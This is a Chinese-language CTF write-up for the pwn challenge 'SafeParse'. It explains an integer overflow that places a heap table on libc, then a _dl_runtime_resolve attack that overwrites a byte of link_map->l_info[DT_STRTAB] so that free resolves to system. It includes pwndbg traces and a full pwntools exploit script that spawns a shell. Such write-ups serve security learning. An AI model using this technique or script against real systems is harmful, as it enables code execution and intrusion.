0%

dl_runtime_resolve attack

SafeParse

1
2
3
4
5
6
7
SafeParse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb35942986f3f07abe813fd1a86be5920f5b6c7e, for GNU/Linux 3.2.0, stripped
[*] '/home/yhellow/桌面/pwn_SafeParse/SafeParse'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,全开,开启延迟绑定

漏洞分析

1
2
data_size = input_num();
chunk = (int *)malloc(4 * data_size); // 整数溢出
  • 这里有一个整数溢出(这个漏洞点和初赛 newest_note 的非预期解很像)

直接让 data_size 为 0x40040000,就可以让这个存堆指针的堆申请到 libc 上面

1
void *malloc(size_t size);
  • 注意:这里的 size_t 代表的是 unsorted int(4字节)

溢出过后,“data_size” 会特别大,但是 mmap 申请的 chunk 又比较小,以下的这个检查就形同虚设了:

1
if ( index >= data_size )

入侵思路

然后就可以实现 libc 任意写,由于没法 leak,我们只能打 _dl_runtime_resolve

DT_STRTAB 在 elf 中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到 DT_DEBUG 这个表是指向 libc 地址(我们可以控制),可以通过改写最低位:

  • link_map->l_info[DT_STRTAB] 低位覆盖为 link_map->l_info[DT_DEBUG] 这样程序就会误以为 DT_DEBUGDT_STRTAB(这下放入 _dl_lookup_symbol_x 的第二个参数就会变成 DT_DEBUG
  • 于是我们提前在 DT_DEBUG+offset(原来是 DT_STRTAB+offset)的位置写上 system
  • 提前在 chunk 中写入 /bin/sh
  • 最后在执行 free(chunk) 时就会 get shell

低位覆盖 link_map->l_info[DT_STRTAB],欺骗 _dl_fixup 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x7f3b00ba2000+0x324180+0x10
00:0000│ rsi r10 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f
01:00080x7f3b00ec6198 ◂— 0x6165720000ec6730
02:00100x7f3b00ec61a0 ◂— 0x564f9b540064 /* 'd' */
03:00180x7f3b00ec61a8 —▸ 0x7f3b00ec6740 —▸ 0x7ffe633fe000 ◂— jg 0x7ffe633fe047
04:00200x7f3b00ec61b0 ◂— 0x0
05:00280x7f3b00ec61b8 —▸ 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f
06:00300x7f3b00ec61c0 ◂— 0x0
07:00380x7f3b00ec61c8 —▸ 0x7f3b00ec6718 —▸ 0x7f3b00ec6730 ◂— 0x0
pwndbg>
08:00400x7f3b00ec61d0 ◂— 0x0
09:00480x7f3b00ec61d8 —▸ 0x564f9b545de0 ◂— 0x1
0a:00500x7f3b00ec61e0 —▸ 0x564f9b545ec0 ◂— 0x2
0b:00580x7f3b00ec61e8 —▸ 0x564f9b545eb0 ◂— 0x3
0c:0060│ rdi-1 0x7f3b00ec61f0 ◂— 0x6d657473797300
0d:00680x7f3b00ec61f8 —▸ 0x564f9b545ea0 ◂— 0x15 /* 低位覆盖"\xa0" */
0e:00700x7f3b00ec6200 —▸ 0x564f9b545e70 ◂— 0x6
0f:00780x7f3b00ec6208 —▸ 0x564f9b545ef0 ◂— 0x7

_dl_fixup->_dl_lookup_symbol_x 执行前:

1
2
3
4
5
6
7
8
9
0x7f3b00ea8192 <_dl_fixup+210>    call   _dl_lookup_symbol_x                <_dl_lookup_symbol_x>
rdi: 0x7f3b00ec61f1 ◂— 0xa0006d6574737973 /* 'system'(free->system) */
rsi: 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f
rdx: 0x7ffe633dbfa8 —▸ 0x564f9b547018 ◂— 0x1200000091
rcx: 0x7f3b00ec64f8 —▸ 0x7f3b00ec6450 —▸ 0x7f3b00e95590 —▸ 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— ...
r8: 0x7f3b00e955e0 —▸ 0x564f9b5480a0 ◂— 'GLIBC_2.2.5'
r9: 0x1
arg[6]: 0x1
arg[7]: 0x0

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

p=process("./SafeParse1")
elf = ELF("./SafeParse1")
libc = ELF("./libc-2.31.so")

cmd = "b *$rebase(0x1620)\n"
#cmd += "b *$rebase(0x15FA)\n"
#gdb.attach(p,cmd)

p.sendlineafter("Size: ",str(0x4000))
p.sendlineafter("Data Size: ",str(0x40040000))

_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
_IO_2_1_stdout_offset = _IO_2_1_stdout_+0x101000-0x10

link_map_offset = 0x324190-0x10
r_debug_offset = 0x324160-0x10

success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_))
success("_IO_2_1_stdout_offset >> "+hex(_IO_2_1_stdout_offset))
success("link_map_offset >> "+hex(link_map_offset))
success("link_map_offset+0x40+5*0x8 >> "+hex(link_map_offset+0x40+5*0x8))
success("r_debug_offset >> "+hex(r_debug_offset))
success("free_hook >> "+hex(libc.sym["__free_hook"]))

# _IO_2_1_stdout_offset >> 0x2ee690
# link_map_offset >> 0x324180
# link_map_offset+0x40+5*0x8 >> 0x3241e8
# r_debug_offset >> 0x324150

payload = ",>"*2+"<"*2

payload +=">*>***>***>******>**>**>**"
payload +=">"*36+",>"*2+"<"*38
payload +=">"*15+",>"*2+"<"*17

payload +=">"*38+","+"."
#payload +="/<//</</</<//////<///<///</<"

p.sendlineafter("Code: ",payload)

p.sendafter("Secret Number: ","/bin")
p.sendafter("Secret Number: ","/sh\x00")

p.sendafter("Secret Number: ","\x00sys")
p.sendafter("Secret Number: ","tem\x00")

p.sendafter("Secret Number: ","\x00rea")
p.sendafter("Secret Number: ","d\x00")

p.sendafter("Secret Number: ","\xa0")
p.sendafter("Guess the Number: ",str(1))

p.interactive()

小结:

这个题我看着就像强网杯的 qwarmup,都是任意写 libc,然后打 _dl_runtime_resolve

当时猪脑过载了,就想用 qwarmup 的方法来套这个题,调了半天才发现这个题没有开沙盒,可以直接 get shell(唉)